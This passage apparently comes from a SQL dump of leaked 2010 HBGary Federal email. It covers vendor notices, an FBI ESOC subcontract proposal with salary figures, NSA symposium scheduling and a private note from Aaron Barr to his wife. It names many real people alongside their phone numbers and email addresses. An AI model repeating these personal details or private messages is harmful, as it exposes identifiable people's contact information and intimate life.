http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkv3CScACgkQWw/TEDXzQNMPLACfZvyxhxDBkqasm8LoKhtrwW78\r\npMsAn3A37BMlsTwLKjB+9Xed2pPzjrxG\r\n=tT8K\r\n-----END PGP SIGNATURE-----\r\n',14161,'aaron_hbgary_com/14161.html'),(6593,'2010-05-22','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297004748.M613519P14101Q1449.eml','\"Aaron Barr\" <aaron@hbgary.com>','Ray Owen has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Ray are now connected.\r\n\r\n \r\n   \r\n   View Ray\'s profile to:\r\n     \r\n       Download Ray\'s current contact information\r\n       Write a recommendation for Ray\r\n       Find opportunities through Ray\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/fpf/29102258/EML-inv-acc-prof/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',12646,'aaron_hbgary_com/12646.html'),(6594,'2010-05-21','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297004748.M98157P14101Q1447.eml','aaron@hbgary.com','Call for Sponsors for the 2nd Annual Warfighter Support Agencies IT Day (formerly Combat Support IT Day) - July 15','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     The \r\n        2nd Annual AFCEA NOVA Combat Support IT Day has a new name:\r\n        \r\n        Warfighter Support\r\n        AGENCIES IT DAY\r\n        Challenges &amp; Needs - Solutions &amp; Capabilities\r\n      July \r\n        15, 2010 - 8am-5pm - Sheraton Premiere, Tysons \r\n        Corner\r\n        www.afceanova.org/agenciesitday\r\n      CALL \r\n        FOR SPONSORS\r\n      This is your \r\n        invitation to participate as a sponsor in the next of our extremely successful \r\n        IT Days - the 2nd Annual &quot;Warfighter Support Agencies IT Day&quot; \r\n        (formerly known as Combat Support IT Day). This event focuses on the Agencies \r\n        &amp; Commands (outside of the traditional four Military Services) who \r\n        support the Warfighter across the Department of Defense. Agencies IT Day \r\n        provides the venue for DISA, MHS, DLA, TRANSCOM, SOCOM, STRATCOM, JSC, \r\n        OSD and others to present their perspectives on IT in these austere times, \r\n        when we nevertheless must meet the Mission. We would be pleased to showcase \r\n        your company in an event where the most senior technology leaders in the \r\n        support Agencies &amp; Unified Commands will talk visions, requirements, \r\n        interoperability challenges, acquisition strategies, and upcoming procurements. \r\n        We are expecting this year&#8217;s event to draw a crowd of nearly 700 \r\n        of your colleagues in the field - all of whom come to interact and network \r\n        with industry partners, DoD agencies and organizations. Put your best \r\n        foot forward to AFCEA NOVA\'s partners in government and industry, as we \r\n        gather to hear how our Warfighters, Commanders, Military Services &amp; \r\n        COCOMS are receiving IT support across the globe. \r\n      There are \r\n        three standard sponsorship packages available - Platinum, Gold &amp; Small \r\n        Biz Silver - s well as special Premiere slots sponsoring the Breakfast, \r\n        Luncheon, or Closing Reception, &amp; new Diamond Sponsorships, which \r\n        give you the greatest level of exposure.\r\n      Register \r\n        to Sponsor Agencies IT Day\r\n      Register \r\n        to Attend Agencies IT Day\r\n        \r\n        \r\n      SPONSORSHIP \r\n        LEVELS\r\n      Diamond \r\n        Sponsor - $10,000\r\n      \r\n         Opportunity \r\n          to Introduce a Keynote Speaker or Panel \r\n        Co-Sponsorship \r\n          of the Breakfast, Lunch, or Closing Reception \r\n        Opportunity \r\n          to hang your Corporate Banner in the Event Hall all Day \r\n        Top Level \r\n          Logo Placement &amp; Special Recognition \r\n        10 Admissions/ \r\n          Registrations for the event \r\n        Plus all \r\n          the benefits of Premiere Sponsorship listed below\r\n         \r\n          Become \r\n          a Diamond Sponsor\r\n          \r\n      \r\n       \r\n        Premiere Sponsor - $5,000\r\n      \r\n        Co-Sponsorship \r\n          of the Breakfast, Lunch, or Closing Reception\r\n         Opportunity \r\n          to hang your Corporate Banner in the Event Hall during the program element \r\n          you are co-sponsoring\r\n        Top Level \r\n          Logo Placement &amp; Special Recognition\r\n        Additional \r\n          Logo Placement inside the Program, beside the program element you are \r\n          co-sponsoring\r\n        5 Admissions/ \r\n          Registrations for the event\r\n        Plus all \r\n          the benefits of Platinum Sponsorship listed below\r\n        Become \r\n          a Premiere Sponsor\r\n           \r\n      \r\n      Platinum \r\n        Sponsor - $3,000\r\n      \r\n        Corporate \r\n          Recognition in radio spots/ads for the event\r\n        Corporate \r\n          Recognition on all print materials and in all emails related to the \r\n          event\r\n         Corporate \r\n          Recognition at luncheon and reception\r\n         Corporate \r\n          Logo in event program\r\n         Corporate \r\n          Logo on event website\r\n         Corporate \r\n          Logo on event signage\r\n         3 Admissions/ \r\n          Registrations for the event\r\n         Special \r\n          Podium Recognition as Platinum Patron Sponsor\r\n         Corporate \r\n          Literature or Giveaways in &#8220;Goody Bag&#8221; given to all conference \r\n          attendees\r\n         List \r\n          of Attendees\r\n        Become \r\n          a Platinum Sponsor\r\n      \r\n      Gold \r\n        Sponsor - $2,000\r\n      \r\n         Corporate \r\n          Recognition on all print materials and in all emails related to the \r\n          event\r\n         Corporate \r\n          Recognition at luncheon and reception\r\n         Corporate \r\n          Logo in event program\r\n         Corporate \r\n          Logo on event website\r\n         Corporate \r\n          Logo on event signage\r\n         2 Admissions/ \r\n          Registrations for the event\r\n         Special \r\n          Podium Recognition as Gold Patron Sponsor\r\n         Corporate \r\n          Literature in &#8220;Goody Bag&#8221; given to all conference attendees\r\n         List \r\n          of Attendees\r\n        Become \r\n          a Gold Sponsor\r\n      \r\n      Small \r\n        Business Silver Sponsor - $1,000 (only 7 available)\r\n      \r\n         Same \r\n          Benefits as Gold Sponsorship, listed above\r\n         Company \r\n          must be AFCEA member and have less than 150 employees\r\n        Become \r\n          a Small Business Silver Sponsor\r\n          \r\n        \r\n      \r\n      Register \r\n        to Sponsor Agencies IT Day\r\n      Register \r\n        to Attend Agencies IT Day\r\n      For \r\n        more Information, please Contact:\r\n        AFCEA NOVA Staff @ CAPLEAD, events@afceanova.org, tel: 703-549-6911\r\n      Plus, \r\n        Don\'t Miss: \r\n      \r\n         Agency \r\n          display booths throughout the lobby\r\n        Small \r\n          Business Plenary Sessions &amp; Small-group Meetings \r\n          - runs in the morning and afternoon, parallel to the full conference\r\n          \r\n      \r\n      &nbsp;\r\n    &nbsp;\r\n    &nbsp;\r\n    &nbsp;\r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n\r\n',16525,'aaron_hbgary_com/16525.html'),(6595,'2010-05-22','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','/aaron@hbgary.com/new/1297004754.M832798P14101Q1450.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','FBI ESOC - NDA and TA Update','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed and Aaron, \r\n\r\n&nbsp;\r\n\r\nJust an FYI &#8211; it&#8217;s a fast moving train, meaning\r\nresponses needed ASAP.\r\n\r\n\r\n\r\nI&#8217;ve asked our subcontracts what they need for an RFP to\r\nyou.\r\n\r\n&nbsp;\r\n\r\nWe&#8217;re working the RFP for pricing.&nbsp;&nbsp; Per earlier\r\ndiscussions we were talking about one person in task 6 to start.&nbsp; I was\r\nlooking to your guy to do more of the security technical tasks, e.g. signature,\r\nIPS, tech eng, honey pot config.\r\n\r\nWe were targeting principle engineers (BS + 6 years experience\r\nor 10 years experience) or lead engineers (BS + 9 years, or 13 years\r\nexperience) for similar tasks in the RFP.&nbsp; Attached is a copy of a cost\r\ntemplate and schedule 70 labor rates.\r\n\r\n&nbsp;\r\n\r\nIf you have any questions, please give me a call.\r\n\r\nDoug\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDoug Harlow\r\n\r\nGeneral Dynamics AIS\r\n\r\n10560 Arrowhead Dr\r\n\r\nFairfax, VA 22030\r\n\r\nOffice: 703-277-1406\r\n\r\nMobile: 703-835-7243\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5458,'aaron_hbgary_com/5458.html'),(6596,'2010-05-22','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004755.M325335P14101Q1451.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: Sugarbats','Ted K calls them sugar bats, lolBegin forwarded message:From: Ted Konkel &lt;tkonkel@earthlink.net&gt;Date: May 22, 2010 9:26:54 AM MDTTo: Ted Vera &lt;tedvera@me.com&gt;Subject: Sugarbats&lt;IMG_1385.jpeg&gt;&lt;IMG_1397.jpeg&gt;&lt;IMG_1401.jpeg&gt;\r\n',15229,'aaron_hbgary_com/15229.html'),(6597,'2010-05-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004759.M173233P14101Q1452.eml','maria@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,maria@hbgary.com','FW: Offer','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThis is Mike Spohn&#8217;s Bio.&nbsp; He is\r\non board on Monday\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2776,'aaron_hbgary_com/2776.html'),(6598,'2010-05-23','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004763.M349983P14101Q1453.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','HBGary Federal GDAIS Request for Proposal for FBI IAS ESOC Effort','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nGood morning,\r\n\r\n&nbsp;\r\n\r\nAs part of your RFP package, please review, complete and return\r\nthe attached pricing template no later than Noon, Monday, May 24.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThank you,&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing\r\nAddress:\r\n\r\n&nbsp;10925\r\nPump House Road\r\n\r\n&nbsp;Annapolis\r\nJunction, MD 20701\r\n\r\nPhysical\r\nAddress:\r\n\r\n&nbsp;2721\r\nTechnology Drive\r\n\r\n&nbsp;Annapolis\r\nJunction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient and\r\nmay contain confidential and privileged information. Any unauthorized review,\r\nuse, disclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply e-mail and destroy all copies of\r\nthe original message.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6181,'aaron_hbgary_com/6181.html'),(6599,'2010-05-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004763.M711019P14101Q1454.eml','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','Re: REBL 10 Briefing','Scott,\r\n\r\nIs the Thursday spot already full?\r\n\r\nSorry for asking.\r\n\r\nForgot about the first conference.\r\n\r\n From my iPhone\r\n\r\nOn May 21, 2010, at 4:43 PM, \"Scott K. Brown\" \r\nwrote:\r\n\r\n> Aaron,\r\n>\r\n> Moved your brief to Tuesday.  Since the auditorium track was already\r\n> full, I\r\n> had to put you in one of the classrooms that hold up to 52\r\n> attendees.  I\'ve\r\n> been asking our classroom briefers to offer their talks twice,\r\n> usually back\r\n> to back.  If you agree, then your talks would be at 1:30 and 2:30 (50\r\n> minutes each with 10 minute break in between).  Your second talk\r\n> would end\r\n> at 3:20 and Greg\'s talk would start at 3:30.\r\n>\r\n> Scott\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, May 21, 2010 4:36 PM\r\n> To: Scott K. Brown\r\n> Cc: bob@hbgary.com\r\n> Subject: Re: REBL 10 Briefing\r\n>\r\n> Scott,\r\n>\r\n> If you can that would be great.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On May 21, 2010, at 2:27 PM, \"Scott K. Brown\" \r\n> wrote:\r\n>\r\n>> Bob,\r\n>>\r\n>> Yesterday you mentioned that you might want Greg to speak on Tuesday\r\n>> afternoon instead of Thursday afternoon.  Please let me know.\r\n>>\r\n>> Aaron, if that happens, I can possibly move your talk to Tuesday as\r\n>> well.\r\n>>\r\n>> Scott K. Brown\r\n>> Technical Director\r\n>> NSA Blue Team\r\n>> (410) 854-6529\r\n>> sbrown@dewnet.ncsc.mil\r\n>>\r\n>>\r\n',9641,'aaron_hbgary_com/9641.html'),(6600,'2010-05-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004763.M946511P14101Q1455.eml','\"Ted Vera\" <ted@hbgary.com>','Ema','Back on the exchange\r\n\r\n From my iPhone\r\n',12203,'aaron_hbgary_com/12203.html'),(6601,'2010-05-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004765.M872648P14101Q1456.eml','\"Barr Aaron\" <aaron@hbgary.com>','HOT! Due tomorrow at 12 ET','Attached is the draft proposal for FBI ESOC.  Please review and\r\ncomment.  This is due to GD AIS by noon your time.  I have to be at\r\nthe office at 7:45 to meet the guy delivering the cube-farm.  Call me\r\nif you see anything that needs to be corrected.\r\n\r\nTed\r\n',11605,'aaron_hbgary_com/11605.html'),(6602,'2010-05-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004770.M159408P14101Q1457.eml','\"Barr Aaron\" <aaron@hbgary.com>','FBI ESOC','PS --\r\n\r\nThe proposal assumes 3.5% annual escalation and the following salaries:\r\n\r\nIA Engineer 4 (FBI ESOC)	$120,000\r\nIA Engineer 3 (FBI ESOC)	$100,000\r\n\r\nTed\r\n',11859,'aaron_hbgary_com/11859.html'),(6603,'2010-05-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004770.M451713P14101Q1458.eml','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','Re: HBGary Federal GDAIS Request for Proposal for FBI IAS ESOC Effort','Hi Kim,I just sent the draft response out for internal review, we&#39;ll send you the final in the morning.Regards,Ted\r\nOn Sun, May 23, 2010 at 6:54 AM, Hoagland, Kimberly A. &lt;Kimberly.Hoagland@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood morning,\r\n\r\n \r\n\r\nAs part of your RFP package, please review, complete and return\r\nthe attached pricing template no later than Noon, Monday, May 24.  \r\n\r\n \r\n\r\n \r\n\r\nThank you, \r\n\r\n \r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts \r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n \r\n\r\nMailing\r\nAddress:\r\n\r\n 10925\r\nPump House Road\r\n\r\n Annapolis\r\nJunction, MD 20701\r\n\r\nPhysical\r\nAddress:\r\n\r\n 2721\r\nTechnology Drive\r\n\r\n Annapolis\r\nJunction, MD  20701\r\n\r\n \r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n\r\n \r\n\r\nP please consider the environment before printing this email\r\n\r\n\r\nThis e-mail message is for the sole use of the intended recipient and\r\nmay contain confidential and privileged information. Any unauthorized review,\r\nuse, disclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply e-mail and destroy all copies of\r\nthe original message.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',10985,'aaron_hbgary_com/10985.html'),(6604,'2010-05-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004770.M723531P14101Q1459.eml','\"Sandy Barr\" <freelybe@hotmail.com>','Dangerous','Sandy,\r\n\r\nMy actions for nearly 20 years have been reckless, selfish, and\r\nabusive.  I stare at a picture taken before we were married.  A kiss\r\nin love.  It sits by my bed as a reminder.\r\n\r\nI work for the happiness of our family, to diminish completely in\r\nmeasure such hurtful flaws in my character but hope for the day that a\r\nkiss between us in love might be possible.\r\n\r\nLove\r\nAaron\r\n\r\nSent from my iPad\r\n',14144,'aaron_hbgary_com/14144.html'),(6605,'2010-05-24','\"Sandra Williams (LinkedIn Messages)\" <messages-noreply@linkedin.com>','/aaron@hbgary.com/new/1297004770.M931819P14101Q1460.eml','\"Aaron Barr\" <aaron@hbgary.com>','Product Data Content Webinar','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nSandra Williams has sent you a message.\r\n\r\n\r\n  Date:\r\n  5/23/2010\r\n\r\n\r\n  Subject:\r\n  Product Data Content Webinar\r\n\r\n\r\n\r\n  Hi\r\n\r\n\r\n\r\nJoin us (http://budurl.com/etilise26mp) for a free Product Data Content Webinar on May 26th at 11am PST to learn about Spex, Etilize\'s product data content solution, and how it can work with your business.\r\n\r\nRegister (http://budurl.com/etilise26mp) for this webinar to learn how you can use the largest product data distribution network in the world to reach customers, retain sales and increase ROI.\r\n\r\n\r\n\r\nRegards\r\n\r\nSandra\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',2290,'aaron_hbgary_com/2290.html'),(6606,'2010-05-24','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','/aaron@hbgary.com/new/1297004771.M146924P14101Q1461.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: REBL 10 Briefing','Aaron,\r\n\r\nDo you need me to move you back to Thursday?\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, May 23, 2010 5:01 PM\r\nTo: Scott K. Brown\r\nSubject: Re: REBL 10 Briefing\r\n\r\nScott,\r\n\r\nIs the Thursday spot already full?\r\n\r\nSorry for asking.\r\n\r\nForgot about the first conference.\r\n\r\n From my iPhone\r\n\r\nOn May 21, 2010, at 4:43 PM, \"Scott K. Brown\" \r\nwrote:\r\n\r\n> Aaron,\r\n>\r\n> Moved your brief to Tuesday.  Since the auditorium track was already \r\n> full, I had to put you in one of the classrooms that hold up to 52 \r\n> attendees.  I\'ve been asking our classroom briefers to offer their \r\n> talks twice, usually back to back.  If you agree, then your talks \r\n> would be at 1:30 and 2:30 (50 minutes each with 10 minute break in \r\n> between).  Your second talk would end at 3:20 and Greg\'s talk would \r\n> start at 3:30.\r\n>\r\n> Scott\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, May 21, 2010 4:36 PM\r\n> To: Scott K. Brown\r\n> Cc: bob@hbgary.com\r\n> Subject: Re: REBL 10 Briefing\r\n>\r\n> Scott,\r\n>\r\n> If you can that would be great.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On May 21, 2010, at 2:27 PM, \"Scott K. Brown\" \r\n> wrote:\r\n>\r\n>> Bob,\r\n>>\r\n>> Yesterday you mentioned that you might want Greg to speak on Tuesday \r\n>> afternoon instead of Thursday afternoon.  Please let me know.\r\n>>\r\n>> Aaron, if that happens, I can possibly move your talk to Tuesday as \r\n>> well.\r\n>>\r\n>> Scott K. Brown\r\n>> Technical Director\r\n>> NSA Blue Team\r\n>> (410) 854-6529\r\n>> sbrown@dewnet.ncsc.mil\r\n>>\r\n>>\r\n',6937,'aaron_hbgary_com/6937.html'),(6607,'2010-05-24','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','/aaron@hbgary.com/new/1297004771.M362098P14101Q1462.eml','\"Barr Aaron\" <aaron@hbgary.com>','TA and Propsal','\r\n\r\n\r\n\r\n\r\nTA and Propsal\r\n\r\n\r\n\r\n\r\nAaron,\r\nPlease give me a call today ASAP .\r\n\r\nThanks,\r\n\r\nDoug\r\n\r\nDoug Harlow\r\n\r\nGeneral Dynamics AIS\r\n\r\n10560 Arrowhead Dr\r\n\r\nFairfax, VA 22030\r\n\r\nOffice: 703-277-1406\r\n\r\nMobile: 703-835-7243\r\n\r\n\r\n\r\n\r\n',1965,'aaron_hbgary_com/1965.html'),(6608,'2010-05-24','\"Nicole Kaboli\" <nicole@executivebiz.com>','/aaron@hbgary.com/new/1297004771.M585573P14101Q1463.eml','','ExecutiveBiz Dinner (Group 11)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDear 4x24 Member,\r\n\r\n&nbsp;\r\n\r\nWhile looking over the calendar invitations for the dinner\r\non Tuesday, June 15th I noticed that you have not yet responded to the\r\nelectronic invitation that we sent you.&nbsp; We just want to make sure that it\r\nis on your calendar and that you will be attending.&nbsp; &nbsp;\r\n\r\n&nbsp;\r\n\r\nLooking forward to your response,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNicole\r\n Kaboli\r\n\r\nExecutiveBiz\r\nand Executive Mosaic\r\n\r\n8230\r\n  Old Courthouse Road, Suite 460\r\n\r\nVienna,\r\n VA 22182 \r\n\r\nPhone:\r\n703-226-7006\r\n\r\nFax:\r\n703-752-7454 \r\n\r\n&nbsp;\r\n\r\nP Please consider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2630,'aaron_hbgary_com/2630.html'),(6609,'2010-05-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004771.M815849P14101Q1464.eml','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','Re: REBL 10 Briefing','Hi Scott,\r\n\r\nI spoke with penny about the first conference and our speaking\r\nengagements with you.  Just a last minute worry over the weekend.  I\r\nwould like to keep the Tuesday slot.  Sorry for my confusion.\r\n\r\nThank you,\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 24, 2010, at 6:25 AM, \"Scott K. Brown\"  wrote:\r\n\r\n> Aaron,\r\n>\r\n> Do you need me to move you back to Thursday?\r\n>\r\n> Scott\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Sunday, May 23, 2010 5:01 PM\r\n> To: Scott K. Brown\r\n> Subject: Re: REBL 10 Briefing\r\n>\r\n> Scott,\r\n>\r\n> Is the Thursday spot already full?\r\n>\r\n> Sorry for asking.\r\n>\r\n> Forgot about the first conference.\r\n>\r\n> From my iPhone\r\n>\r\n> On May 21, 2010, at 4:43 PM, \"Scott K. Brown\" \r\n> wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Moved your brief to Tuesday.  Since the auditorium track was already\r\n>> full, I had to put you in one of the classrooms that hold up to 52\r\n>> attendees.  I\'ve been asking our classroom briefers to offer their\r\n>> talks twice, usually back to back.  If you agree, then your talks\r\n>> would be at 1:30 and 2:30 (50 minutes each with 10 minute break in\r\n>> between).  Your second talk would end at 3:20 and Greg\'s talk would\r\n>> start at 3:30.\r\n>>\r\n>> Scott\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Friday, May 21, 2010 4:36 PM\r\n>> To: Scott K. Brown\r\n>> Cc: bob@hbgary.com\r\n>> Subject: Re: REBL 10 Briefing\r\n>>\r\n>> Scott,\r\n>>\r\n>> If you can that would be great.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n>>\r\n>> On May 21, 2010, at 2:27 PM, \"Scott K. Brown\" \r\n>> wrote:\r\n>>\r\n>>> Bob,\r\n>>>\r\n>>> Yesterday you mentioned that you might want Greg to speak on Tuesday\r\n>>> afternoon instead of Thursday afternoon.  Please let me know.\r\n>>>\r\n>>> Aaron, if that happens, I can possibly move your talk to Tuesday as\r\n>>> well.\r\n>>>\r\n>>> Scott K. Brown\r\n>>> Technical Director\r\n>>> NSA Blue Team\r\n>>> (410) 854-6529\r\n>>> sbrown@dewnet.ncsc.mil\r\n>>>\r\n>>>\r\n',7401,'aaron_hbgary_com/7401.html'),(6610,'2010-05-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004772.M23156P14101Q1465.eml','\"Ted Vera\" <ted@hbgary.com>','Re: HOT! Due tomorrow at 12 ET','These look good.\r\n\r\nSent from my iPad\r\n\r\nOn May 23, 2010, at 11:25 PM, Ted Vera  wrote:\r\n\r\n> Attached is the draft proposal for FBI ESOC.  Please review and\r\n> comment.  This is due to GD AIS by noon your time.  I have to be at\r\n> the office at 7:45 to meet the guy delivering the cube-farm.  Call me\r\n> if you see anything that needs to be corrected.\r\n>\r\n> Ted\r\n> \r\n> \r\n',10482,'aaron_hbgary_com/10482.html'),(6611,'2010-05-24','\"Lee, Tamika D\" <tdlee6@nsa.gov>','/aaron@hbgary.com/new/1297004773.M846112P14101Q1466.eml','thendricks@dewnet.ncsc.mil,\"Smith, Thomas\" <tesmith@nsa.gov>,ed@inguardians.com,Randal.Vickers@dhs.gov,edward.nugent@pacom.mil,rcparks@sandia.gov,\"Sheesley, Eric W.\" <e.sheesl@radium.ncsc.mil>,\"Barbour, Garth S.\" <g.barbou@radium.ncsc.mil>,\"Peteroy, William E\" <wepeter@nsa.gov>,windsor_stephen@bah.com,\"Hobbs, Kristen L\" <klhobb2@nsa.gov>,\"Kaltwasser, Jonathan C\" <jckaltw@radium.ncsc.mil>,karen.danesi@gchq.gsi.gov.uk,Donna.Martin@disa.mil,dpghorm@sandia.gov,cmwray@sandia.gov,fwu@thecouch.ncsc.mil,craig@thecouch.ncsc.mil,Linus.Barloon@whmo.mil,\"Bartock, Paul F.\" <p.bartoc@radium.ncsc.mil>,nziring@thecouch.ncsc.mil,aaron@hbgary.com,Michael.Bingham@osd.mil,skbohli@missi.ncsc.mil,rjlarso@missi.ncsc.mil,HeatherRT@gmail.com,\"Graham, Kimberly A\" <kagraha@nsa.gov>,jay.weinstein@L-3com.com,jon.callahan@gdc4s.com,\"Heimbuch, Andrew C\" <acheimb@nsa.gov>,\"Sumlin, Daniel A\" <dasumli@nsa.gov>,\"david.borden@lackland.af.mil\" <david.borden@LACKLAND.AF.MIL>,\"Rogers, Bruce J\" <bjroger@nsa.gov>,michael.sikorski@mandiant.com,\"Clark, Akiva A.\" <aclark@mitre.org>,thendricks@dewnet.ncsc.mil,\"Smith, Thomas\" <tesmith@nsa.gov>','SPEAKER DETAILS FOR REBL SYMPOSIUM 2010','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGood\r\nMorning,\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou for participating in this year&#8217;s REBL Symposium. &nbsp;If you have\r\nnot already done so, register for REBL at www.iad.gov/events\r\nand also pass your clearance as directed in the &#8220;Info_Document&#8221;\r\nattached.&nbsp; In an effort to ensure that everything runs smoothly, attached\r\nare the documents that we need from you at your earliest convenience.&nbsp;\r\nPlease adhere to the 1 June 2010 due date as listed in the documents. \r\n\r\n&nbsp;\r\n\r\nWe\r\nlook forward to seeing you at REBL.&nbsp; Please direct any future\r\ncorrespondence to the DLREBL@corp.nsa.gov. &nbsp; \r\n\r\n&nbsp;\r\n\r\nIf\r\nyou have already sent in your forms, please send an email requesting\r\nconfirmation that we have received 